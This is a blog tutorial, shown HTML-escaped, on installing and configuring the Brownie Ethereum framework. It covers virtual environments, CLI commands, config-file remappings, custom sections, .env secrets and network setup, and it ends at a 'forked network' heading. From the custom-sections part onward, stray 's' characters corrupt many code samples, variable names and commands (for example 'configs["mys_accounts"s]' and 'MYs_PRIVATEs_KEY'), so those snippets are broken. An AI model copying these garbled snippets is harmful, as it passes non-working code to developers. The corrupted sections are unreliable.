&lt;p&gt;To be able to install brownie without &lt;code&gt;pipx&lt;/code&gt;, you first need to create a virtual environment.&lt;/p&gt;
&lt;p&gt;A virtual environment in python is a contained environment for separate projects on your computer 🐍. What this means is that &lt;strong&gt;you can have separate virtual environments with separate versions of python and python packages for each of your projects.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can create one just by typing:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ python3 -m venv &amp;lt;path + name of your virtual environment&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ python -m venv ./myVirtualEnviroment&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After the creation process is done, you will need to activate the virtual environment:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ source myVirtualEnviroment/bin/activate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Or&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ source myVirtualEnviroment/Scripts/activate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And then, you just need to write:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ pip install eth-brownie&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With that you&apos;ll be able to use brownie.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Take into account that this only will work in the current directory, if you change from directory you will need to create and activate a virtual environment again. Also, if you close your current session of the command line and you want to work with the project again you will need to activate the virtual environment again.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To make sure that everything works fine, in both scenarios, write&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643839805789/TCsH9-fK8.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you need more information about the installation process of Brownie, you can follow &lt;a href=&quot;https://iamdefinitelyahuman.medium.com/getting-started-with-brownie-part-1-9b2181f4cb99&quot;&gt;this tutorial&lt;/a&gt; made &lt;strong&gt;by Ben Hauser on Medium&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Also, you can follow the &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/install.html&quot;&gt;brownie documentation&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Brownie basics&lt;/h2&gt;
&lt;p&gt;I&apos;m not going to dive deep into the basics of brownie, for that the brownie team wrote an excellent documentation that you can check &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/quickstart.html&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, you can read these greats tutorial made by Ben Hauser, &lt;a href=&quot;https://betterprogramming.pub/getting-started-with-brownie-part-2-615a1eec167f&quot;&gt;tutorial one&lt;/a&gt;, &lt;a href=&quot;https://betterprogramming.pub/getting-started-with-brownie-part-3-ef6bfa9867d7&quot;&gt;tutorial two.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I&apos;m just going to make you a resume:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Initialized templates for projects, so you don&apos;t have to start from scratch.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie bake &amp;lt;name of the template&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Compile your contracts&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie compile&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Write test for your contracts. Writing the test in the &lt;code&gt;test&lt;/code&gt; folder and typing&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie test&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can also interact with the contract using scripts or via the brownie console.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;scripts&lt;/code&gt; folder you can write your scripts to interact with the contract programmatically, and then you write:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Or, using the console you can interact with the contract manually.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie console&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deploy your contracts in a controlled environment (using ganache under the hood)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie deploy&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And also deploy to a testnet or a real net&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie deploy --network &amp;lt;name of the network&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You also can do this when you are testing your contracts.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie test --network &amp;lt;name of the network&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Or runing your scripts&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts --network &amp;lt;name of the network&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;if you need any extra information about a brownie CLI command you can always type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie --help&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The brownie config file&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;This is a special file that brownie always looks for to grab information when you are going to build, test and deploy your contract…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This file &lt;strong&gt;allows you to modify Brownie’s default behaviors and also add new sections&lt;/strong&gt; that can be useful for you when you are working in your smart contract.&lt;/p&gt;
&lt;p&gt;I&apos;m not going to deep dive in all the sections that the file have, you could see those in the &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/config.html&quot;&gt;brownie documentation.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I&apos;m just going to explain some things that could be useful for you.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You need to add this file to the root of your project and name it &lt;code&gt;brownie-config.yaml&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;One of the things you can do is:&lt;/p&gt;
&lt;h3&gt;Remapping import paths.&lt;/h3&gt;
&lt;p&gt;Let&apos;s say that your contract need to use some functionality from other contract, like a template or a library (the safe math library or the ERC721 standard template of &lt;a href=&quot;https://openzeppelin.com/&quot;&gt;Open Zeppelin&lt;/a&gt; for example)&lt;/p&gt;
&lt;p&gt;You can do that without copying the contract interface to your project, &lt;strong&gt;you can just pull the source code from the npm package that hosts the code.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Example, let&apos;s said that you need to import the Open Zeppelin contract &lt;em&gt;Ownable&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For this you&apos;ll need to install the open zeppelin npm package, &lt;strong&gt;but with remappings you don&apos;t need it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just import the package as usual in your solidity file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
import &quot;@openzeppelin/contracts/ownership/Ownable.sol&quot;;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then, in your &lt;code&gt;brownie-config.yaml&lt;/code&gt; file, you can use one of it&apos;s default sections called &lt;code&gt;compiler&lt;/code&gt; to change it&apos;s behavior.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;In this section you add a subsection called &lt;code&gt;solc&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;And in this subsection you add another subsection called &lt;code&gt;remappings&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You should have something like this:&lt;/p&gt;
&lt;p&gt;compiler: solc: remappings:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Each value under remappings is a string in the format of&lt;/strong&gt; &lt;code&gt;prefix=path&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;A remapping instructs the compiler to search for a given prefix at a specific path&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;github.com/ethereum/dapp-bin/=/usr/local/lib/dapp-bin/&lt;/p&gt;
&lt;p&gt;This remapping instructs the compiler to search for anything starting with &lt;code&gt;github.com/ethereum/dapp-bin/&lt;/code&gt; under &lt;code&gt;/usr/local/lib/dapp-bin&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Brownie automatically ensures that all remapped paths are allowed.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;And now, if we want to use our Open Zeppelin ownable contract, &lt;strong&gt;we just need to follow that prefix=path format.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;By having a prefix&lt;/p&gt;
&lt;p&gt;&lt;code&gt;@openzeppelin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And then, having the path that rute us to the open zeppelin package in NPM, that is usually stored on GitHub.&lt;/p&gt;
&lt;p&gt;We can obtain that searching by googling &lt;em&gt;open zeppelin ownable contract&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643847873973/vdLDGCg89.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643849387151/p_Qjfqc0-.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we can use this information to make the path, should be wrote in this format: &amp;lt;organization/repo&amp;gt;@&lt;/p&gt;
&lt;p&gt;First, we need to add the organization, that means the username who create the repo. In this case:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenZeppelin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Then we need to add the github repo in which is store the code. In this case&lt;/p&gt;
&lt;p&gt;&lt;code&gt;openzeppelin-contracts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We would have something like this for the path&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenZeppelin/openzeppelin-contracts&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And finally, we need to add the package version we want to work with.&lt;/p&gt;
&lt;p&gt;In the root of the repo we can see all the releases (the versions).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643849331423/AWpD6ZL9h.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By pressing in &lt;strong&gt;releases&lt;/strong&gt; you can see all the different versions you can use, &lt;em&gt;this is going to depend mostly of the specifications of the project you are working on,&lt;/em&gt; but you can really chose whatever you want.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643851974060/zeWT9xD5Yc.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You need to add the version by adding an “@” at the beginning.&lt;/p&gt;
&lt;p&gt;Example&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Working with version 4.4.1:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenZeppelin/openzeppelin-contracts@4.4.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Or version 4.3.1&lt;/p&gt;
&lt;p&gt;&lt;code&gt;OpenZeppelin/openzeppelin-contracts@4.3.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s it, now in your remappings section you should have something like this:&lt;/p&gt;
&lt;p&gt;compiler: solc: remappings: - &apos;@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.3.1&apos;&lt;/p&gt;
&lt;p&gt;Now, everytime the compiler see &lt;code&gt;@openzeppelin&lt;/code&gt; in your solidity code, will search that import under the &lt;code&gt;OpenZeppelin/openzeppelin-contracts@4.3.1&lt;/code&gt; github repo, so you don&apos;t need to install anything.&lt;/p&gt;
&lt;p&gt;So, with this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import &quot;@openzeppelin/contracts/ownership/Ownable.sol&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The compiler will search in the &lt;code&gt;contract&lt;/code&gt; folder of that repo, then in the &lt;code&gt;ownership&lt;/code&gt; folder and then grab the &lt;code&gt;Ownable.sol&lt;/code&gt; file and download it for you.&lt;/p&gt;
&lt;p&gt;Awesome, right? Well, &lt;strong&gt;you can do this with whatever file you want,&lt;/strong&gt; using the prefix to tell the compiler &lt;em&gt;“hey! If you see this (prefix) search it under this folder (the path)&quot;&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Adding the dependencies section.&lt;/h4&gt;
&lt;p&gt;To complete this, you can also add the &lt;code&gt;dependencies&lt;/code&gt; section to the brownie config file. This section will tell brownie to &lt;em&gt;install any listed dependencies prior to compiling a project.&lt;/em&gt; That could be useful when someone else download/clone your project from GitHub.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You just need to add the path of your remap to that dependencies section.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dependencies:
  - OpenZeppelin/openzeppelin-contracts@4.3.1
compiler:
  solc:
    remappings:
      - &apos;@openzeppelin=OpenZeppelin/openzeppelin-contracts@4.3.1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will create a &lt;code&gt;dependency&lt;/code&gt; folder under the &lt;code&gt;build/contracts&lt;/code&gt; folder. There, the artifacts of every dependencies that a contract need will be stored.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643850040466/qP1oX9mjW.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The&lt;/strong&gt; &lt;code&gt;build/contracts&lt;/code&gt; folder is where all the artifacts of the projects are stored.&lt;/p&gt;
&lt;p&gt;If you don&apos;t know, &lt;strong&gt;the artifacts are the result of the compiled contract, with all the objects that we can interact with, like the bytecode of the contract, the ABI, the address…&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you want to read more about the build folder you can check the &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/build-folder.html#the-build-folder&quot;&gt;brownie documentation&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Adding new sections to grab information from.&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;The brownie config file allows you to add new custom sections that you can use to store persistent data&lt;/strong&gt; that you could use all across your project. &lt;em&gt;You can do this in two different ways:&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Adding a simple section&lt;/h4&gt;
&lt;p&gt;You just add a new section, you can call it whatever you want. Let&apos;s say you want to store your private key for deploy the contracts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;my_accounts: 
my_private_key: &apos;my_super_secret_private_key&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I add the section &lt;code&gt;my_accounts&lt;/code&gt; and inside that section a &lt;code&gt;my_private_key&lt;/code&gt; subsection and in that I store my private key.&lt;/p&gt;
&lt;p&gt;Also I could add more subsections to that section to store more data, example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;my_accounts: 
my_private_key: &apos;my_super_secret_private_key&apos; my_public_key: &apos;0x02Ba39E868bF5140e572830C019c36843860B627&apos; my_usename: &apos;kevinsito&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And even you could add a subsection inside a subsection, thats on you and whatever you want to do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And, you just can grab that information for use it in your scripts or your test files by using the brownie&lt;/strong&gt; &lt;code&gt;config&lt;/code&gt; object.&lt;/p&gt;
&lt;p&gt;You just need to import it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from brownie import config

my_private_key = config[&quot;my_accounts&quot;][&quot;my_private_key&quot;]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first, is the section, and the second is the subsection that we are searching.&lt;/p&gt;
&lt;p&gt;When you use it you will obtain the data that you store in your brownie config file under tat section.&lt;/p&gt;
&lt;p&gt;Example&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Brownie import config

my_private_key = configs[&quot;mys_accounts&quot;s][&quot;mys_privates_key&quot;]

print(mys_privates_key)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643852559702/0S4-g0t5u.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Obviously, you don&apos;t want to store your private key in that way, it is too dangerous…&lt;/strong&gt; Later in the article I will teach you how you can store in a more secure way.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You can literally do this with whatever section you want to grab information from&lt;/strong&gt;, not only with those you created.&lt;/p&gt;
&lt;h4&gt;Adding a section to grab information conditionally.&lt;/h4&gt;
&lt;p&gt;You can also store information in the brownie config file, and grab it conditionally. For example:&lt;/p&gt;
&lt;p&gt;Let&apos;s say you only want to grab certain data when you are on the &lt;code&gt;rinkeby network&lt;/code&gt;, and other data when you are on the &lt;code&gt;kovan network&lt;/code&gt;. That could be a contract address.&lt;/p&gt;
&lt;p&gt;s&lt;em&gt;s&lt;/em&gt;You could do that!s&lt;em&gt;s&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Imagine your project needs to interact with a Chainlink contract, and you want to test it in all the different networks, but the address of that contract change depending on the network.&lt;/p&gt;
&lt;p&gt;So, you could add an address for the &lt;code&gt;kovan network&lt;/code&gt; and another for the &lt;code&gt;rinkeby network&lt;/code&gt; inside your brownie config file, and depending on the network you are deploying or testing your contract, one of those networks would be selected&lt;/p&gt;
&lt;p&gt;The brownie config file has a section in which you can modify all the networks default behavior, the &lt;code&gt;networks&lt;/code&gt; section. You could read more about all the specifications of the network section &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/config.html#networks&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s do it!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;networks: kovan: mys_chainlinks_contracts_address: &apos;thss_iss_mys_chainlinks_addresss_ins_kovan&apos; rinkeby: mys_chainlinks_contracts_address: &apos;thiss_iss_mys_chainlinks_addresss_ins_rinkeby&apos;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And now, we can grab that information in our scripts or our test again by using the&lt;/em&gt; &lt;code&gt;config&lt;/code&gt; object of brownie, and specifying the section we want to grab information from.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from brownie import config`

contracts_addresss=configs[&quot;networks&quot;s]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But now, &lt;strong&gt;how do we do this work depending on the network we are working?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We can see what is the current network working with the brownie object &lt;code&gt;network&lt;/code&gt; and using its function &lt;code&gt;network.show_active()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This will tell us what is the current active network.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contracts_address = configs[&quot;networks&quot;s][network.shows_active()]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then, you need to add the name of the subsection that you created in the correspondent network, &lt;strong&gt;should be the same name between the networks.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;contracts_address = configs[&quot;networks&quot;s]s[network.shows_active()s]s[&quot;mys_chainlinks_contracts_address&quot;s]

print(contracts_address)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s test it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts/testing.py --network rinkeby&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909213697/jjcwl-wPL.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now using kovan.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts/testing.py --network kovan&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909283220/zk07wc4yy.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The flag &lt;code&gt;--network&lt;/code&gt; is used when we want to change to which network the contract would be deployed,s* this is going to be the development network by defaults* (which is a ganache cli), you can read more about that &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/network-management.html#launching-and-connecting&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Okay but, how brownie knows how to change between networks by just typing its name?, well brownie have an object called &lt;code&gt;network&lt;/code&gt;, s&lt;em&gt;s&lt;/em&gt;in which there stores a lot of different networks that we can use to deploy and test our contract. s&lt;em&gt;s&lt;/em&gt; &lt;em&gt;We will see more about that later in the article.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Using environment variables&lt;/h2&gt;
&lt;p&gt;When you are working with smart contracts, &lt;strong&gt;there are certain data that you don&apos;t want the general public to know.&lt;/strong&gt; Like your private key, some API key, like your alchemy or infura API key.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To store that sensitive data we have a file called&lt;/strong&gt; &lt;code&gt;.env&lt;/code&gt; which is a file used to store environment variables and is not uploaded to Github.&lt;/p&gt;
&lt;p&gt;Lets create a &lt;code&gt;.env&lt;/code&gt; file in the root of our project.&lt;/p&gt;
&lt;p&gt;In this &lt;code&gt;.env&lt;/code&gt; file we can store sensitive data in variables, that we can use in other parts of the project, in a very secure way.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;export MYs_PRIVATEs_KEY= &amp;amp;lt;somes_privates_key&amp;amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;We need to add the “export” keyword and the begining so brownie knows that variable can be used.&lt;/p&gt;
&lt;p&gt;And now, you can use that data in your scripts or test file, you just need to import the &lt;code&gt;os&lt;/code&gt; module&lt;/p&gt;
&lt;p&gt;import os&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mys_privates_key = os.getenv(“MYs_PRIVATEs_KEY”)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And by using the &lt;code&gt;.getenv&lt;/code&gt; method and passing the id of your environment variable as a parameter you can use that information in your files.&lt;/p&gt;
&lt;p&gt;Brownie by default writes in the &lt;code&gt;.gitignore&lt;/code&gt; file &lt;code&gt;.env&lt;/code&gt; to avoid that file been uploaded to github (you really don&apos;t want that)&lt;/p&gt;
&lt;p&gt;But you can check the &lt;code&gt;.gitignore&lt;/code&gt; file anyways to be sure that include&lt;code&gt;.env&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We also can use the environment variables in the&lt;/strong&gt; &lt;code&gt;brownie-config.yaml file&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s say you want to store a private key to be able to grab it in your scrips. You can just type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mys_private key: ${MYs_PRIVATEs_KEY}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;To be able to do that, you need to specify a new section in your brownie config file&lt;/p&gt;
&lt;p&gt;&lt;code&gt;dotenv: .env&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;With this we are saying to brownie &lt;em&gt;“hey, I want to use the&lt;/em&gt; &lt;code&gt;.env&lt;/code&gt; file as a file to store my environment variables, and whenever you see this strange character &lt;code&gt;${}&lt;/code&gt; in our brownie config file that&apos;s going to be an environmental variable that you can grab from the &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;With that we can use our private key in a more secure way!.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And if you want to use the environment variables in your &lt;code&gt;.env&lt;/code&gt; file in all your project, you can do it by setting the environment variables using.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;source .env&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will allow you yo use all the environment variables in your command line&lt;/p&gt;
&lt;p&gt;s&lt;em&gt;This is my .env file s&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643908156730/ZMvmkueOS.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can test this by typing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo $name_of_your_env_variable
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643908193698/ZF46Q-Vms.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Working with networks&lt;/h2&gt;
&lt;p&gt;As I said earlier, &lt;strong&gt;you can use brownie to deploy your contract to a local or live networks.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You have two options here, &lt;strong&gt;you can use the development environment&lt;/strong&gt;, which is a local, temporary network used for testing and debugging, is generating from Ganache.&lt;/p&gt;
&lt;p&gt;Or &lt;strong&gt;you can use a live environment&lt;/strong&gt;, a real blockchain. Could be a testnet or a real one.&lt;/p&gt;
&lt;p&gt;Brownie have a special object called &lt;code&gt;network&lt;/code&gt; that contains all the different default networks that we can use to deploy our contract.&lt;/p&gt;
&lt;p&gt;We can see all the networks that we have in brownie by typing:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks list&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will show us all the different networks that we can use to deploy and test our contracts…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909041398/84_73R1DhR.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can see a more detailed list by adding &quot;true&quot;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks list true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909070307/eD4pvbRrH.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With this, &lt;strong&gt;you can see all the different options that the&lt;/strong&gt; &lt;code&gt;network&lt;/code&gt; &lt;strong&gt;object have.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And you can add new networks.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks add s[environments] s[ids] host=s[hosts] s[KEY=VALUE, ...s]&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Network elements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;environment:&lt;/strong&gt; the category that the network should be placed in, e.g. “Ethereum”, “Ethereum Classic”, or “Development”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;id:&lt;/strong&gt; a unique identifier for the network, e.g. “mainnet”&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;host:&lt;/strong&gt; the address of the node to connect to, e.g. https://mainnet.infura.io/v3/1234567890abcdef&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;port:&lt;/strong&gt; The port to connect to. If not given as a unique field, it should be included within the host path.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;accounts:&lt;/strong&gt; The number of funded, unlocked accounts. Default 10.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;mnemonic:&lt;/strong&gt; A mnemonic to use when generating local accounts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;fork:&lt;/strong&gt; If given, the local client will fork from another currently running Ethereum client. The value may be an HTTP location and port of the other client, e.g. http://localhost:8545, or the ID of a production network, e.g. mainnet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;explorer:&lt;/strong&gt; the block explorer of that especific network.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are going to constantly use a network for deploying your project, and you don&apos;t want to add everytime the &lt;code&gt;--network&lt;/code&gt; flag &lt;strong&gt;you can set up the network that brownie is going to use by default&lt;/strong&gt; adding this section in your brownie config file.&lt;/p&gt;
&lt;p&gt;networks: default: ropsten&lt;/p&gt;
&lt;p&gt;&lt;em&gt;So the default network that brownie is going to use to deploy your contracts is going to be ropsten.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Of course, you can change that behavior in specific occations when you are deploying your contract.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts/deploy.py --network rinkeby&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;In this case the contract would be deployed on the rinkeby network&lt;/em&gt;, although the default network is ropsten.&lt;/p&gt;
&lt;p&gt;If you want to learn more about networks, you can read the &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/network-management.html&quot;&gt;brownie documentation&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Adding forked network&lt;/h3&gt;
